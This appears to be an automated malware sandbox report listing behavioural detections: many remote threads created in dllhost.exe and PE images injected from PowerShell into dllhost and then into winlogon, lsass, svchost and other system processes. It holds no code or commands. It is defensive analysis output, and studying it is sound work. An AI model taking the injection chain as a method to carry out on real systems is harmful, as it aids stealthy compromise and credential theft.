Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 69B42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6CF32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CC742EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 644F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5DA72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 49352EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 199D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3892EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 60DA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3B82EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5E7B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 40E42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F7C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E8152EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27BC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 52342EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B152EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9DA92EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 621A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F482EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B4B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 683D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3142EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6C5E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D5932EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC652EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78742EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 33B42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D0A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB4C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A642EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6CF32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 644F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 49352EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 60DA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5E7B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F7C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E8152EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 52342EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9DAC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 602E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E77D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4BC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5C652EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3FB25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 602E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4E32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E77D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4BC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7A022EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5C652EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 72DC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3FB25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2942EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4E32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7A022EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A5ED2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 72DC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2942EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A5ED2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23C25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FD25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25C25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FB25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 31425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 21E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 21E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 21225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 21B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CF25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 20525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 20725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A6B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B0A02EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DFF92EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27325AC

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF190000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEE30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B8D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
